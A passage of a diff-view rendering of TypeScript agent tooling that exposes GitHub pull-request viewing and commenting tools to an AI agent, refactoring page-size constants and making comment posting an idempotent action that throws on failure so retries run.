// first, so the ones it cannot see are the most recent — the review
|
|
83
84
|
// feedback, on the pull request busy enough to have overflowed.
|
|
84
|
-
const moreComments = thread.length >=
|
|
85
|
+
const moreComments = thread.length >= GITHUB_PAGE_SIZE;
|
|
85
86
|
return bounded([
|
|
86
87
|
`#${number} ${data.title ?? "(no title)"} [${data.state ?? "?"}]` +
|
|
87
88
|
(data.pull_request ? " (pull request)" : ""),
|
|
@@ -92,7 +93,7 @@ export function forgeTools(ctx) {
|
|
|
92
93
|
...(comments.ok ? [] : [`\n(comments could not be read)`]),
|
|
93
94
|
...(moreComments
|
|
94
95
|
? [
|
|
95
|
-
`\n(showing the first ${
|
|
96
|
+
`\n(showing the first ${GITHUB_PAGE_SIZE} comments; the thread is ` +
|
|
96
97
|
`longer, and the newest are not among them)`
|
|
97
98
|
]
|
|
98
99
|
: [])
|
|
@@ -106,17 +107,17 @@ export function forgeTools(ctx) {
|
|
|
106
107
|
number: z.number().int().positive().describe("Pull request number")
|
|
107
108
|
}),
|
|
108
109
|
execute: async ({ dir, number }) => {
|
|
109
|
-
const target = await
|
|
110
|
+
const target = await githubRepo(dir);
|
|
110
111
|
if ("refusal" in target)
|
|
111
112
|
return target.refusal;
|
|
112
113
|
const { owner, repo } = target;
|
|
113
|
-
const pr = await
|
|
114
|
+
const pr = await github("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}`);
|
|
114
115
|
if (!pr.ok)
|
|
115
116
|
return bounded(pr.message);
|
|
116
117
|
const data = pr.data;
|
|
117
|
-
const files = await
|
|
118
|
+
const files = await github("repo_pr_view", `/repos/${owner}/${repo}/pulls/${number}/files?per_page=${GITHUB_PAGE_SIZE}`);
|
|
118
119
|
const changed = (files.ok && Array.isArray(files.data) ? files.data : []);
|
|
119
|
-
const moreFiles = changed.length >=
|
|
120
|
+
const moreFiles = changed.length >= GITHUB_PAGE_SIZE;
|
|
120
121
|
return bounded([
|
|
121
122
|
`#${number} ${data.title ?? "(no title)"}`,
|
|
122
123
|
`${data.merged ? "merged" : (data.state ?? "?")}` +
|
|
@@ -141,36 +142,52 @@ export function forgeTools(ctx) {
|
|
|
141
142
|
: " (changed files could not be read)",
|
|
142
143
|
...(moreFiles
|
|
143
144
|
? [
|
|
144
|
-
`\n(showing the first ${
|
|
145
|
+
`\n(showing the first ${GITHUB_PAGE_SIZE} files; this pull request ` +
|
|
145
146
|
`touches more)`
|
|
146
147
|
]
|
|
147
148
|
: [])
|
|
148
149
|
].join("\n"));
|
|
149
150
|
}
|
|
150
|
-
})
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
151
|
+
})
|
|
152
|
+
};
|
|
153
|
+
}
|
|
154
|
+
/**
|
|
155
|
+
* The GitHub writes a recovered turn must not repeat, as Think actions.
|
|
156
|
+
*
|
|
157
|
+
* Every failure is thrown rather than returned. Think settles what an action
|
|
158
|
+
* returns and replays it for the life of the key, so a refusal returned as a
|
|
159
|
+
* string would answer every retry in the task; a throw releases the key, and
|
|
160
|
+
* the retry runs.
|
|
161
|
+
*/
|
|
162
|
+
export function prActions(ctx) {
|
|
163
|
+
const { bounded, github, githubRepo } = ctx;
|
|
164
|
+
const commentInput = z.object({
|
|
165
|
+
dir: z.string().describe("The checkout directory"),
|
|
166
|
+
number: z
|
|
167
|
+
.number()
|
|
168
|
+
.int()
|
|
169
|
+
.positive()
|
|
170
|
+
.describe("Pull request or issue number"),
|
|
171
|
+
body: z.string().describe("The comment, as markdown")
|
|
172
|
+
});
|
|
173
|
+
return {
|
|
174
|
+
repo_pr_comment: action({
|
|
175
|
+
description: "Leave a comment on a pull request or issue in the repository you have checked out. Use this to report what you did, or to answer a review — not to announce work you have not finished. The same comment twice in one task is posted once.",
|
|
176
|
+
inputSchema: commentInput,
|
|
177
|
+
timeoutMs: GITHUB_ACTION_TIMEOUT_MS,
|
|
178
|
+
idempotencyKey: async ({ input, ctx: turn }) => `${actionTask(turn)}:${input.dir}#${input.number}:comment:${await sha256(input.body)}`,
|
|
162
179
|
execute: async ({ dir, number, body }) => {
|
|
163
|
-
const target = await
|
|
180
|
+
const target = await githubRepo(dir);
|
|
164
181
|
if ("refusal" in target)
|
|
165
|
-
|
|
182
|
+
throw new Error(target.refusal);
|
|
166
183
|
const { owner, repo } = target;
|
|
167
|
-
const posted = await
|
|
184
|
+
const posted = await github("repo_pr_comment", `/repos/${owner}/${repo}/issues/${number}/comments`, { method: "POST", body: { body } });
|
|
168
185
|
if (!posted.ok)
|
|
169
186
|
// The same hazard `repo_open_pr` names, for the same reason: a POST
|
|
170
|
-
// whose answer never arrived may still have been received
|
|
171
|
-
//
|
|
172
|
-
|
|
173
|
-
`comment may exist anyway — read it back with repo_issue_view before retrying.`);
|
|
187
|
+
// whose answer never arrived may still have been received. The key
|
|
188
|
+
// is released, so a retry posts again.
|
|
189
|
+
throw new Error(bounded(`${posted.message}\nIf this was a timeout rather than a rejection the ` +
|
|
190
|
+
`comment may exist anyway — read it back with repo_issue_view before retrying.`));
|
|
174
191
|
const data = posted.data;
|
|
175
192
|
return data.html_url ?? `commented on #${number}`;
|
|
176
193
|
}
|
|
@@ -1,3 +1,12 @@
|
|
|
1
|
+
import { type Action } from "@cloudflare/think";
|
|
1
2
|
import type { ToolSet } from "ai";
|
|
2
3
|
import type { RepoContext } from "./context.js";
|
|
3
4
|
export declare function reviewTools(ctx: RepoContext): ToolSet;
|
|
5
|
+
/**
|
|
6
|
+
* Answering a thread, as a Think action — see
|
|
7
|
+
* {@link file://./tools-pr.ts prActions} for why every failure is
|
|
8
|
+
* thrown. The one outcome returned short of success is a reply that landed on
|
|
9
|
+
* a thread that did not resolve: that reply must never be sent again, so it is
|
|
10
|
+
* settled, and the resolve-only call it asks for is a different key.
|
|
11
|
+
*/
|
|
12
|
+
export declare function reviewActions(ctx: RepoContext): Record<string, Action>;
|